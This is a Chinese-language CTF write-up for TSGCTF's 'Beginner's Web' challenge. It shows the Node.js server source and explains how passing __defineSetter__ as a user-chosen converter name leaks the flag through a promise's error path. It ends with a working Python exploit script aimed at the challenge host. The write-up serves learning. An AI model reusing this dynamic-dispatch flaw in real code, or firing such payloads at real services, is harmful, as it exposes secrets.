TSGCTF-web Beginner's Web (js内置方法__defineSetter__)
1 const fastify = require('fastify'); 2 const nunjucks = require('nunjucks'); 3 const crypto = require('crypto'); 4 5 6 const converters = {}; 7 8 const flagConverter = (input, callback) => { 9 const flag = '*** CENSORED ***'; 10 callback(null, flag); 11 }; 12 13 const base64Converter = (input, callback) => { 14 try { 15 const result = Buffer.from(input).toString('base64'); 16 callback(null, result) 17 } catch (error) { 18 callback(error); 19 } 20 }; 21 22 const scryptConverter = (input, callback) => { 23 crypto.scrypt(input, 'I like sugar', 64, (error, key) => { 24 if (error) { 25 callback(error); 26 } else { 27 callback(null, key.toString('hex')); 28 } 29 }); 30 }; 31 32 33 const app = fastify(); 34 app.register(require('point-of-view'), {engine: {nunjucks}}); 35 app.register(require('fastify-formbody')); 36 app.register(require('fastify-cookie')); 37 app.register(require('fastify-session'), {secret: Math.random().toString(2), cookie: {secure: false}}); 38 39 app.get('/', async (request, reply) => { 40 reply.view('index.html', {sessionId: request.session.sessionId}); 41 }); 42 43 app.post('/', async (request, reply) => { 44 if (request.body.converter.match(/[FLAG]/)) { 45 throw new Error("Don't be evil :)"); 46 } 47 48 if (request.body.input.length < 10) { 49 throw new Error('Too short :('); 50 } 51 52 converters['base64'] = base64Converter; 53 converters['scrypt'] = scryptConverter; 54 converters[`FLAG_${request.session.sessionId}`] = flagConverter; 55 56 const result = await new Promise((resolve, reject) => { 57 converters[request.body.converter](request.body.input, (error, result) => { 58 if (error) { 59 reject(error); 60 } else { 61 resolve(result); 62 } 63 }); 64 }); 65 66 reply.view('index.html', { 67 input: request.body.input, 68 result, 69 sessionId: request.session.sessionId, 70 }); 71 }); 72 73 app.setErrorHandler((error, request, reply) => { 74 reply.view('index.html', {error, sessionId: request.session.sessionId}); 75 }); 76 77 app.listen(59101, '0.0.0.0');
页面下方有显示出用户sessionID,结合源码不难看出可以利用flagConverter获得flag。因为有匹配,所以直接在converter参数传入FLAG_${request.session.sessionId}是行不通的。
利用__defineSetter__创造出名为FLAG_${request.session.sessionId}的数组键名 (${request.session.sessionId}表示sessionID)。
__defineSetter__介绍:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__
__defineSetter__有两个参数,第一个是属性,第二个是函数。实际上就是绑个函数在指定属性上,当指定属性被赋值时,该函数会被调用。
converters[request.body.converter](request.body.input, (error, result)是用户可控的,(error, result)是箭头函数有两个参数
input输入FLAG_${request.session.sessionId},converter参数输入__defineSetter__就可以成功把(error, result)绑在FLAG_${request.session.sessionId}上。FLAG_${request.session.sessionId}对应箭头函数的第一个参数error,最后能通过error把flag输出
我们还需要对promise有所了解 https://blog.csdn.net/new__person/article/details/103702562
因为 __defineSetter__没有被触发,promise不会有返回结果,所以http没有response
此时应该是这样的__defineSetter(FLAG_${request.session.sessionId},undefined)
我们直接回到post
红色箭头所指的是一个赋值操作,只要执行这条语句就能触发我们之前的__defineSetter__。非常的amazing啊,我们只要再发一个不会在前两个if判断挂掉的包就能成功触发。触发之后就会把FLAG_${request.session.sessionId}传入箭头函数,作为其第一个参数error,通过reject(error)输出。这里使用python发包
exp:
#!/usr/bin/python3
import threading
import requests
import time
cookie = {"sessionId" : "Qaa0ZB24y079HE3S4XNVGrRYk0dnpAAY.ZyckOkEpT1GboSRLgcE1I%2BZ52%2FqfSQEZWkq1%2F5dyJB"}
def sendPayload():
r = requests.post("http://35.221.81.216:59101",data={"converter":"__defineSetter__","input":"FLAG_Qaa0ZB24y079HE3S4XNVGrRYk0dnpAAY"},cookies=cookie)
print(r.text)
threading.Thread(target=sendPayload).start()
requests.post("http://35.221.81.216:59101",data={"converter":"base64","input":"55555555555555555555"},cookies=cookie)
这题叫beginner可真是太艹了
本人js菜的抠脚,如果有不对的地方,望各位师傅斧正